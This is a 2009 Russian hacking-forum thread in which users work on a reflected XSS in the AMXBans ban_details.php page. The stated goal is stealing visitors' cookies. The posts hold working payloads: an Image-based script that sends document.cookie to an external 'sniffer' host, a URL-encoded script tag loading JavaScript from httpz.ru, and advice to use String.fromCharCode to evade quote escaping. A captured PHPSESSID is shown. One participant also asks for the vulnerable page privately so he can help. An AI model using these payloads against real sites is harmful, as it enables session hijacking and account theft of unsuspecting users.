ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
Перезагрузить страницу нужна помощь (пассивная xss?)
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

нужна помощь (пассивная xss?)
  #1  
Старый 26.08.2009, 03:12
Аватар для n3r0bi0m4n
n3r0bi0m4n
Новичок
Регистрация: 21.08.2005
Сообщений: 25
Провел на форуме:
164185

Репутация: 3
Question нужна помощь (пассивная xss?)
http://forum.antichat.ru/thread121710.html

давным давно ничем подобным не занимался - вспоминаю..


Вопрос, собственно: amxbans -> ban_details.php?ban_info[ban_reason]=/javascript_code/ работает частично. alert(document.cookie) проходит.


Пытаюсь подставить <script>img = new Image(); img.src = "website/sniffimage.gif?"+document.cookie;</script> - оно "фильтрует" кавычки. Точнее, экранирует их в \"website/sniffimage.gif\".


Залил простой скрипт (x.js: "<script>alert(hi);</script>") на сервер, пытался достучаться до него посредством <script src=blabla></script> дабы обойтись без кавычек. Не работает.

Подскажите, пжалста, выходы из положения, или хотяб намекните. Благодарю заранее.
 
Ответить с цитированием

  #2  
Старый 26.08.2009, 03:16
Аватар для seofilms
seofilms
Участник форума
Регистрация: 27.05.2009
Сообщений: 115
Провел на форуме:
2312554

Репутация: 97
По умолчанию
%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%68%69%2 9%3B%3C%2F%73%63%72%69%70%74%3E
может так получится, точно незнаю )))
 
Ответить с цитированием

  #3  
Старый 26.08.2009, 03:17
Аватар для n3r0bi0m4n
n3r0bi0m4n
Новичок
Регистрация: 21.08.2005
Сообщений: 25
Провел на форуме:
164185

Репутация: 3
По умолчанию
Спасибо, url-encode пробовал оба варианта. Не работает..
 
Ответить с цитированием

  #4  
Старый 26.08.2009, 03:18
Аватар для seofilms
seofilms
Участник форума
Регистрация: 27.05.2009
Сообщений: 115
Провел на форуме:
2312554

Репутация: 97
По умолчанию
вот еще как можно, на примере моего снифера
%3E%3CSCRIPT%20type=text/javascript%20src=http://httpz.ru/csmxo0306igo.js%3E%3C/SCRIPT%3E
 
Ответить с цитированием

  #5  
Старый 26.08.2009, 03:23
Аватар для n3r0bi0m4n
n3r0bi0m4n
Новичок
Регистрация: 21.08.2005
Сообщений: 25
Провел на форуме:
164185

Репутация: 3
По умолчанию
Тем-же снффом пользуюсь )..
Оно мне не в лог пишет, а в адресной строке оставляет все куки:

http://httpz.ru/nqk7ksje7ro.gif?PHPSESSID=cefd4708a36ea......
 
Ответить с цитированием

  #6  
Старый 26.08.2009, 03:27
Аватар для seofilms
seofilms
Участник форума
Регистрация: 27.05.2009
Сообщений: 115
Провел на форуме:
2312554

Репутация: 97
По умолчанию
так и в логе и там оставляет, можно мне адрес странички с xss в личку, может помогу
 
Ответить с цитированием

  #7  
Старый 26.08.2009, 03:31
Аватар для seofilms
seofilms
Участник форума
Регистрация: 27.05.2009
Сообщений: 115
Провел на форуме:
2312554

Репутация: 97
По умолчанию
icq 781954
 
Ответить с цитированием

  #8  
Старый 26.08.2009, 03:43
Аватар для warlok
warlok
Постоянный
Регистрация: 18.02.2008
Сообщений: 368
Провел на форуме:
4075418

Репутация: 386
По умолчанию
юзай String.fromCharCode
 
Ответить с цитированием

  #9  
Старый 26.08.2009, 03:56
Аватар для seofilms
seofilms
Участник форума
Регистрация: 27.05.2009
Сообщений: 115
Провел на форуме:
2312554

Репутация: 97
По умолчанию
%3E%3CSCRIPT%20type=text/javascript%20src=http://httpz.ru/csmxo0306igo.js%3E%3C/SCRIPT%3E
итак всё работает))) только что проверял))) у него что то со снифом наверно или он гонит))
 
Ответить с цитированием
Ответ



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Нужна пассивная XSS на mail.ru LeopardSS Разное - Покупка, продажа, обмен 4 08.02.2009 19:34
Xss для новичков Micr0b Уязвимости 0 04.06.2006 18:25
Cross Site Scripting FAQ k00p3r Уязвимости 6 12.06.2005 16:23



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ